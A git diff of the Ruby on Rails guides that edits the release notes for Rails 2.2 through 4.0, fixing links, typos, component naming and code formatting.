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Diffstat (limited to 'guides/source')
59 files changed, 14302 insertions, 5889 deletions
diff --git a/guides/source/2_2_release_notes.md b/guides/source/2_2_release_notes.md index cef82f3784..019da08687 100644 --- a/guides/source/2_2_release_notes.md +++ b/guides/source/2_2_release_notes.md @@ -1,7 +1,9 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Ruby on Rails 2.2 Release Notes =============================== -Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. +Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-2-stable) in the main Rails repository on GitHub. Along with Rails, 2.2 marks the launch of the [Ruby on Rails Guides](http://guides.rubyonrails.org/), the first results of the ongoing [Rails Guides hackfest](http://hackfest.rubyonrails.org/guide). This site will deliver high-quality documentation of the major features of Rails. @@ -31,20 +33,20 @@ Documentation The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the [Ruby on Rails Guides](http://guides.rubyonrails.org/) project is the definitive source for information on major Rails components. In its first official release, the Guides page includes: -* [Getting Started with Rails](http://guides.rubyonrails.org/getting_started.html) -* [Rails Database Migrations](http://guides.rubyonrails.org/migrations.html) -* [Active Record Associations](http://guides.rubyonrails.org/association_basics.html) -* [Active Record Query Interface](http://guides.rubyonrails.org/active_record_querying.html) -* [Layouts and Rendering in Rails](http://guides.rubyonrails.org/layouts_and_rendering.html) -* [Action View Form Helpers](http://guides.rubyonrails.org/form_helpers.html) -* [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html) -* [Action Controller Overview](http://guides.rubyonrails.org/action_controller_overview.html) -* [Rails Caching](http://guides.rubyonrails.org/caching_with_rails.html) -* [A Guide to Testing Rails Applications](http://guides.rubyonrails.org/testing.html) -* [Securing Rails Applications](http://guides.rubyonrails.org/security.html) -* [Debugging Rails Applications](http://guides.rubyonrails.org/debugging_rails_applications.html) -* [Performance Testing Rails Applications](http://guides.rubyonrails.org/performance_testing.html) -* [The Basics of Creating Rails Plugins](http://guides.rubyonrails.org/plugins.html) +* [Getting Started with Rails](getting_started.html) +* [Rails Database Migrations](migrations.html) +* [Active Record Associations](association_basics.html) +* [Active Record Query Interface](active_record_querying.html) +* [Layouts and Rendering in Rails](layouts_and_rendering.html) +* [Action View Form Helpers](form_helpers.html) +* [Rails Routing from the Outside In](routing.html) +* [Action Controller Overview](action_controller_overview.html) +* [Rails Caching](caching_with_rails.html) +* [A Guide to Testing Rails Applications](testing.html) +* [Securing Rails Applications](security.html) +* [Debugging Rails Applications](debugging_rails_applications.html) +* [Performance Testing Rails Applications](performance_testing.html) +* [The Basics of Creating Rails Plugins](plugins.html) All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers. @@ -200,7 +202,7 @@ Active Record association proxies now respect the scope of methods on the proxie * More information: * [Rails 2.2 Change: Private Methods on Association Proxies are Private](http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/) -### Other ActiveRecord Changes +### Other Active Record Changes * `rake db:migrate:redo` now accepts an optional VERSION to target that specific migration to redo * Set `config.active_record.timestamped_migrations = false` to have migrations with numeric prefix instead of UTC timestamp. @@ -236,7 +238,7 @@ This will enable recognition of (among others) these routes: * Lead Contributor: [S. Brent Faulkner](http://www.unwwwired.net/) * More information: - * [Rails Routing from the Outside In](http://guides.rubyonrails.org/routing.html#nested-resources) + * [Rails Routing from the Outside In](routing.html#nested-resources) * [What's New in Edge Rails: Shallow Routes](http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes) ### Method Arrays for Member or Collection Routes @@ -327,7 +329,7 @@ Other features of memoization include `unmemoize`, `unmemoize_all`, and `memoize The `each_with_object` method provides an alternative to `inject`, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block. ```ruby -%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'} +%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'} ``` Lead Contributor: [Adam Keys](http://therealadam.com/) @@ -366,7 +368,7 @@ Lead Contributor: [Daniel Schierbeck](http://workingwithrails.com/person/5830-da * `Inflector#parameterize` produces a URL-ready version of its input, for use in `to_param`. * `Time#advance` recognizes fractional days and weeks, so you can do `1.7.weeks.ago`, `1.5.hours.since`, and so on. * The included TzInfo library has been upgraded to version 0.3.12. -* `ActiveSuport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` +* `ActiveSupport::StringInquirer` gives you a pretty way to test for equality in strings: `ActiveSupport::StringInquirer.new("abc").abc? => true` Railties -------- diff --git a/guides/source/2_3_release_notes.md b/guides/source/2_3_release_notes.md index 7aef566e40..4ac1529e76 100644 --- a/guides/source/2_3_release_notes.md +++ b/guides/source/2_3_release_notes.md @@ -1,14 +1,16 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Ruby on Rails 2.3 Release Notes =============================== -Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components. +Rails 2.3 delivers a variety of new and improved features, including pervasive Rack integration, refreshed support for Rails Engines, nested transactions for Active Record, dynamic and default scopes, unified rendering, more efficient routing, application templates, and quiet backtraces. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/2-3-stable) in the main Rails repository on GitHub or review the `CHANGELOG` files for the individual Rails components. -------------------------------------------------------------------------------- Application Architecture ------------------------ -There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.rubyforge.org/) modular web server interface, and renewed support for Rails Engines. +There are two major changes in the architecture of Rails applications: complete integration of the [Rack](http://rack.github.io/) modular web server interface, and renewed support for Rails Engines. ### Rack Integration @@ -40,7 +42,7 @@ Here's a summary of the rack-related changes: * `ActiveRecord::QueryCache` middleware is automatically inserted onto the middleware stack if `ActiveRecord` has been loaded. This middleware sets up and flushes the per-request Active Record query cache. * The Rails router and controller classes follow the Rack spec. You can call a controller directly with `SomeController.call(env)`. The router stores the routing parameters in `rack.routing_args`. * `ActionController::Request` inherits from `Rack::Request`. -* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`. +* Instead of `config.action_controller.session = { :session_key => 'foo', ...` use `config.action_controller.session = { :key => 'foo', ...`. * Using the `ParamsParser` middleware preprocesses any XML, JSON, or YAML requests so they can be read normally with any `Rack::Request` object after it. ### Renewed Support for Rails Engines @@ -134,7 +136,7 @@ Rails 2.3 will introduce the notion of _default scopes_ similar to named scopes, ### Batch Processing -You can now process large numbers of records from an ActiveRecord model with less pressure on memory by using `find_in_batches`: +You can now process large numbers of records from an Active Record model with less pressure on memory by using `find_in_batches`: ```ruby Customer.find_in_batches(:conditions => {:active => true}) do |customer_group| @@ -173,8 +175,8 @@ before_save :update_credit_rating, :if => :active, Rails now has a `:having` option on find (as well as on `has_many` and `has_and_belongs_to_many` associations) for filtering records in grouped finds. As those with heavy SQL backgrounds know, this allows filtering based on grouped results: ```ruby -developers = Developer.find(:all, :group => "salary", - :having => "sum(salary) > 10000", :select => "salary") +developers = Developer.find(:all, :group => "salary", + :having => "sum(salary) > 10000", :select => "salary") ``` * Lead Contributor: [Emilio Tagua](http://github.com/miloops) @@ -237,7 +239,7 @@ If you're one of the people who has always been bothered by the special-case nam ### HTTP Digest Authentication Support -Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user’s password (which is then hashed and compared against the transmitted credentials): +Rails now has built-in support for HTTP digest authentication. To use it, you call `authenticate_or_request_with_http_digest` with a block that returns the user's password (which is then hashed and compared against the transmitted credentials): ```ruby class PostsController < ApplicationController @@ -451,11 +453,11 @@ select(:post, :category, Post::CATEGORIES, :disabled => 'private') returns ```html -<select name=“post[category]“> +<select name="post[category]"> <option>story</option> <option>joke</option> <option>poem</option> -<option disabled=“disabled“>private</option> +<option disabled="disabled">private</option> </select> ``` @@ -504,7 +506,7 @@ A lot of folks have adopted the notion of using try() to attempt operations on o ### Swappable Parsers for XMLmini -The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: +The support for XML parsing in Active Support has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed: ```ruby XmlMini.backend = 'LibXML' @@ -594,7 +596,7 @@ The internals of the various <code>rake gem</code> tasks have been substantially * Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding `--with-dispatchers` when you run the `rails` command, or add them later with `rake rails:update:generate_dispatchers`). * Rails Guides have been converted from AsciiDoc to Textile markup. * Scaffolded views and controllers have been cleaned up a bit. -* `script/server` now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path. +* `script/server` now accepts a `--path` argument to mount a Rails application from a specific path. * If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing. * Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files. @@ -604,9 +606,9 @@ Deprecated A few pieces of older code are deprecated in this release: * If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the [irs_process_scripts](http://github.com/rails/irs_process_scripts/tree) plugin. -* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master.) +* `render_component` goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the [render_component plugin](http://github.com/rails/render_component/tree/master). * Support for Rails components has been removed. -* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back. +* If you were one of the people who got used to running `script/performance/request` to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back. * `ActionController::Base#session_enabled?` is deprecated because sessions are lazy-loaded now. * The `:digest` and `:secret` options to `protect_from_forgery` are deprecated and have no effect. * Some integration test helpers have been removed. `response.headers["Status"]` and `headers["Status"]` will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the `status` and `status_message` helpers. `response.headers["cookie"]` and `headers["cookie"]` will no longer return any CGI cookies. You can inspect `headers["Set-Cookie"]` to see the raw cookie header or use the `cookies` helper to get a hash of the cookies sent to the client. @@ -618,4 +620,4 @@ A few pieces of older code are deprecated in this release: Credits ------- -Release notes compiled by [Mike Gunderloy](http://afreshcup.com.) This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3. +Release notes compiled by [Mike Gunderloy](http://afreshcup.com). This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3. diff --git a/guides/source/3_0_release_notes.md b/guides/source/3_0_release_notes.md index 388ba3fa30..3d7966e50b 100644 --- a/guides/source/3_0_release_notes.md +++ b/guides/source/3_0_release_notes.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Ruby on Rails 3.0 Release Notes =============================== @@ -15,7 +17,7 @@ Even if you don't give a hoot about any of our internal cleanups, Rails 3.0 is g On top of all that, we've tried our best to deprecate the old APIs with nice warnings. That means that you can move your existing application to Rails 3 without immediately rewriting all your old code to the latest best practices. -These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. +These release notes cover the major upgrades, but don't include every little bug fix and change. Rails 3.0 consists of almost 4,000 commits by more than 250 authors! If you want to see everything, check out the [list of commits](http://github.com/rails/rails/commits/3-0-stable) in the main Rails repository on GitHub. -------------------------------------------------------------------------------- @@ -73,13 +75,11 @@ You can see an example of how that works at [Rails Upgrade is now an Official Pl Aside from Rails Upgrade tool, if you need more help, there are people on IRC and [rubyonrails-talk](http://groups.google.com/group/rubyonrails-talk) that are probably doing the same thing, possibly hitting the same issues. Be sure to blog your own experiences when upgrading so others can benefit from your knowledge! -More information - [The Path to Rails 3: Approaching the upgrade](http://omgbloglol.com/post/353978923/the-path-to-rails-3-approaching-the-upgrade) - Creating a Rails 3.0 application -------------------------------- ```bash -# You should have the 'rails' rubygem installed +# You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -140,7 +140,7 @@ More Information: - [Rails Edge Architecture](http://yehudakatz.com/2009/06/11/r [Arel](http://github.com/brynary/arel) (or Active Relation) has been taken on as the underpinnings of Active Record and is now required for Rails. Arel provides an SQL abstraction that simplifies out Active Record and provides the underpinnings for the relation functionality in Active Record. -More information: - [Why I wrote Arel](http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/.) +More information: - [Why I wrote Arel](https://web.archive.org/web/20120718093140/http://magicscalingsprinkles.wordpress.com/2010/01/28/why-i-wrote-arel/) ### Mail Extraction @@ -296,11 +296,11 @@ NOTE. The old style `map` commands still work as before with a backwards compati Deprecations * The catch all route for non-REST applications (`/:controller/:action/:id`) is now commented out. -* Routes :path\_prefix no longer exists and :name\_prefix now automatically adds "\_" at the end of the given value. +* Routes `:path_prefix` no longer exists and `:name_prefix` now automatically adds "_" at the end of the given value. More Information: * [The Rails 3 Router: Rack it Up](http://yehudakatz.com/2009/12/26/the-rails-3-router-rack-it-up/) -* [Revamped Routes in Rails 3](http://rizwanreza.com/2009/12/20/revamped-routes-in-rails-3) +* [Revamped Routes in Rails 3](https://medium.com/fusion-of-thoughts/revamped-routes-in-rails-3-b6d00654e5b0) * [Generic Actions in Rails 3](http://yehudakatz.com/2009/12/20/generic-actions-in-rails-3/) @@ -310,7 +310,7 @@ More Information: Major re-write was done in the Action View helpers, implementing Unobtrusive JavaScript (UJS) hooks and removing the old inline AJAX commands. This enables Rails to use any compliant UJS driver to implement the UJS hooks in the helpers. -What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper.) To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example: +What this means is that all previous `remote_<method>` helpers have been removed from Rails core and put into the [Prototype Legacy Helper](http://github.com/rails/prototype_legacy_helper). To get UJS hooks into your HTML, you now pass `:remote => true` instead. For example: ```ruby form_for @post, :remote => true @@ -342,7 +342,7 @@ Helpers that do something else, like `cache` or `content_for`, are not affected * Helpers now output HTML 5 by default. * Form label helper now pulls values from I18n with a single value, so `f.label :name` will pull the `:name` translation. * I18n select label on should now be :en.helpers.select instead of :en.support.select. -* You no longer need to place a minus sign at the end of a ruby interpolation inside an ERb template to remove the trailing carriage return in the HTML output. +* You no longer need to place a minus sign at the end of a Ruby interpolation inside an ERB template to remove the trailing carriage return in the HTML output. * Added `grouped_collection_select` helper to Action View. * `content_for?` has been added allowing you to check for the existence of content in a view before rendering. * passing `:value => nil` to form helpers will set the field's `value` attribute to nil as opposed to using the default value @@ -475,7 +475,7 @@ As well as the following deprecations: * `named_scope` in an Active Record class is deprecated and has been renamed to just `scope`. * In `scope` methods, you should move to using the relation methods, instead of a `:conditions => {}` finder method, for example `scope :since, lambda {|time| where("created_at > ?", time) }`. * `save(false)` is deprecated, in favor of `save(:validate => false)`. -* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to `:en.errors.template`. +* I18n error messages for Active Record should be changed from :en.activerecord.errors.template to `:en.errors.template`. * `model.errors.on` is deprecated in favor of `model.errors[]` * validates_presence_of => validates... :presence => true * `ActiveRecord::Base.colorize_logging` and `config.active_record.colorize_logging` are deprecated in favor of `Rails::LogSubscriber.colorize_logging` or `config.colorize_logging` @@ -523,7 +523,7 @@ A large effort was made in Active Support to make it cherry pickable, that is, y These are the main changes in Active Support: * Large clean up of the library removing unused methods throughout. -* Active Support no longer provides vendored versions of [TZInfo](http://tzinfo.rubyforge.org/), [Memcache Client](http://deveiate.org/projects/RMemCache/) and [Builder](http://builder.rubyforge.org/,) these are all included as dependencies and installed via the `bundle install` command. +* Active Support no longer provides vendored versions of TZInfo, Memcache Client and Builder. These are all included as dependencies and installed via the `bundle install` command. * Safe buffers are implemented in `ActiveSupport::SafeBuffer`. * Added `Array.uniq_by` and `Array.uniq_by!`. * Removed `Array#rand` and backported `Array#sample` from Ruby 1.9. @@ -547,7 +547,7 @@ These are the main changes in Active Support: * `String#to_time` and `String#to_datetime` handle fractional seconds. * Added support to new callbacks for around filter object that respond to `:before` and `:after` used in before and after callbacks. * The `ActiveSupport::OrderedHash#to_a` method returns an ordered set of arrays. Matches Ruby 1.9's `Hash#to_a`. -* `MissingSourceFile` exists as a constant but it is now just equals to `LoadError`. +* `MissingSourceFile` exists as a constant but it is now just equal to `LoadError`. * Added `Class#class_attribute`, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses. * Finally removed `DeprecatedCallbacks` in `ActiveRecord::Associations`. * `Object#metaclass` is now `Kernel#singleton_class` to match Ruby. @@ -576,11 +576,11 @@ The following methods have been removed because they are no longer used in the f Action Mailer ------------- -Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. +Action Mailer has been given a new API with TMail being replaced out with the new [Mail](http://github.com/mikel/mail) as the email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. * All mailers are now in `app/mailers` by default. * Can now send email using new API with three methods: `attachments`, `headers` and `mail`. -* ActionMailer now has native support for inline attachments using the `attachments.inline` method. +* Action Mailer now has native support for inline attachments using the `attachments.inline` method. * Action Mailer emailing methods now return `Mail::Message` objects, which can then be sent the `deliver` message to send itself. * All delivery methods are now abstracted out to the Mail gem. * The mail delivery method can accept a hash of all valid mail header fields with their value pair. @@ -610,5 +610,4 @@ Credits See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails 3. Kudos to all of them. -Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net.) - +Rails 3.0 Release Notes were compiled by [Mikel Lindsaar](http://lindsaar.net). diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md index d3f8abe0c8..8728750966 100644 --- a/guides/source/3_1_release_notes.md +++ b/guides/source/3_1_release_notes.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Ruby on Rails 3.1 Release Notes =============================== @@ -8,7 +10,10 @@ Highlights in Rails 3.1: * Assets Pipeline * jQuery as the default JavaScript library -This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/3-1-stable) in the main Rails +repository on GitHub. -------------------------------------------------------------------------------- @@ -137,7 +142,7 @@ Creating a Rails 3.1 application -------------------------------- ```bash -# You should have the 'rails' rubygem installed +# You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -173,7 +178,7 @@ The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/spr ### HTTP Streaming -HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of NGINX and Unicorn is ready to take advantage of it. ### Default JS library is now jQuery @@ -286,7 +291,7 @@ Action Pack end ``` - You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information. + You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/v3.1.0/classes/ActionController/Streaming.html) for more information. * The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. diff --git a/guides/source/3_2_release_notes.md b/guides/source/3_2_release_notes.md index 68a47be14f..0b28aac9ce 100644 --- a/guides/source/3_2_release_notes.md +++ b/guides/source/3_2_release_notes.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Ruby on Rails 3.2 Release Notes =============================== @@ -8,7 +10,10 @@ Highlights in Rails 3.2: * Automatic Query Explains * Tagged Logging -These release notes cover the major changes, but do not include each bug-fix and changes. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails repository on GitHub. +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/3-2-stable) in the main Rails +repository on GitHub. -------------------------------------------------------------------------------- @@ -21,7 +26,7 @@ If you're upgrading an existing application, it's a great idea to have good test Rails 3.2 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.2 is also compatible with Ruby 1.9.2. -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. +TIP: Note that Ruby 1.8.7 p248 and p249 have marshalling bugs that crash Rails. Ruby Enterprise Edition has these fixed since the release of 1.8.7-2010.02. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x, jump on to 1.9.2 or 1.9.3 for smooth sailing. ### What to update in your apps @@ -67,7 +72,7 @@ Creating a Rails 3.2 application -------------------------------- ```bash -# You should have the 'rails' rubygem installed +# You should have the 'rails' RubyGem installed $ rails new myapp $ cd myapp ``` @@ -101,7 +106,7 @@ Rails 3.2 comes with a development mode that's noticeably faster. Inspired by [A ### Automatic Query Explains -Rails 3.2 comes with a nice feature that explains queries generated by ARel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query ARel produces is explained. This allows to check for the proper indexes and further optimizations. +Rails 3.2 comes with a nice feature that explains queries generated by Arel by defining an `explain` method in `ActiveRecord::Relation`. For example, you can run something like `puts Person.active.limit(5).explain` and the query Arel produces is explained. This allows to check for the proper indexes and further optimizations. Queries that take more than half a second to run are *automatically* explained in the development mode. This threshold, of course, can be changed. @@ -137,7 +142,7 @@ Railties * Update `Rails::Rack::Logger` middleware to apply any tags set in `config.log_tags` to `ActiveSupport::TaggedLogging`. This makes it easy to tag log lines with debug information like subdomain and request id -- both very helpful in debugging multi-user production applications. -* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time 'rails new' runs in the `.railsrc` configuration file in your home directory. +* Default options to `rails new` can be set in `~/.railsrc`. You can specify extra command-line arguments to be used every time `rails new` runs in the `.railsrc` configuration file in your home directory. * Add an alias `d` for `destroy`. This works for engines too. @@ -185,11 +190,11 @@ Action Pack end ``` - Rails will use 'layouts/single_car' when a request comes in :show action, and use 'layouts/application' (or 'layouts/cars', if exists) when a request comes in for any other actions. + Rails will use `layouts/single_car` when a request comes in `:show` action, and use `layouts/application` (or `layouts/cars`, if exists) when a request comes in for any other actions. -* form\_for is changed to use "#{action}\_#{as}" as the css class and id if `:as` option is provided. Earlier versions used "#{as}\_#{action}". +* `form_for` is changed to use `#{action}_#{as}` as the css class and id if `:as` option is provided. Earlier versions used `#{as}_#{action}`. -* `ActionController::ParamsWrapper` on ActiveRecord models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. +* `ActionController::ParamsWrapper` on Active Record models now only wrap `attr_accessible` attributes if they were set. If not, only the attributes returned by the class method `attribute_names` will be wrapped. This fixes the wrapping of nested attributes by adding them to `attr_accessible`. * Log "Filter chain halted as CALLBACKNAME rendered or redirected" every time a before callback halts. @@ -219,7 +224,7 @@ Action Pack * MIME type entries for PDF, ZIP and other formats were added. -* Allow fresh_when/stale? to take a record instead of an options hash. +* Allow `fresh_when/stale?` to take a record instead of an options hash. * Changed log level of warning for missing CSRF token from `:debug` to `:warn`. @@ -227,7 +232,7 @@ Action Pack #### Deprecations -* Deprecated implied layout lookup in controllers whose parent had a explicit layout set: +* Deprecated implied layout lookup in controllers whose parent had an explicit layout set: ```ruby class ApplicationController @@ -238,13 +243,13 @@ Action Pack end ``` - In the example above, Posts controller will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. + In the example above, `PostsController` will no longer automatically look up for a posts layout. If you need this functionality you could either remove `layout "application"` from `ApplicationController` or explicitly set it to `nil` in `PostsController`. -* Deprecated `ActionController::UnknownAction` in favour of `AbstractController::ActionNotFound`. +* Deprecated `ActionController::UnknownAction` in favor of `AbstractController::ActionNotFound`. -* Deprecated `ActionController::DoubleRenderError` in favour of `AbstractController::DoubleRenderError`. +* Deprecated `ActionController::DoubleRenderError` in favor of `AbstractController::DoubleRenderError`. -* Deprecated `method_missing` in favour of `action_missing` for missing actions. +* Deprecated `method_missing` in favor of `action_missing` for missing actions. * Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`. @@ -254,7 +259,7 @@ Action Pack * Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. -* The `ShowExceptions` middleware now accepts a exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. +* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. * Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. @@ -375,7 +380,7 @@ Active Record * Support index sort order in SQLite, MySQL and PostgreSQL adapters. -* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like :foreign_key already allow a symbol or a string. +* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string. ```ruby has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized @@ -562,4 +567,4 @@ Credits See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. -Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.) +Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev). diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md index 34d2c09812..5f52c33746 100644 --- a/guides/source/4_0_release_notes.md +++ b/guides/source/4_0_release_notes.md @@ -1,29 +1,33 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Ruby on Rails 4.0 Release Notes =============================== Highlights in Rails 4.0: -* Ruby 1.9.3 only +* Ruby 2.0 preferred; 1.9.3+ required * Strong Parameters * Turbolinks * Russian Doll Caching -* Asynchronous Mailers -These release notes cover only the major changes. To know about various bug fixes and changes, please refer to the change logs or check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/4-0-stable) in the main Rails +repository on GitHub. -------------------------------------------------------------------------------- Upgrading to Rails 4.0 ---------------------- -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading to Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. Creating a Rails 4.0 application 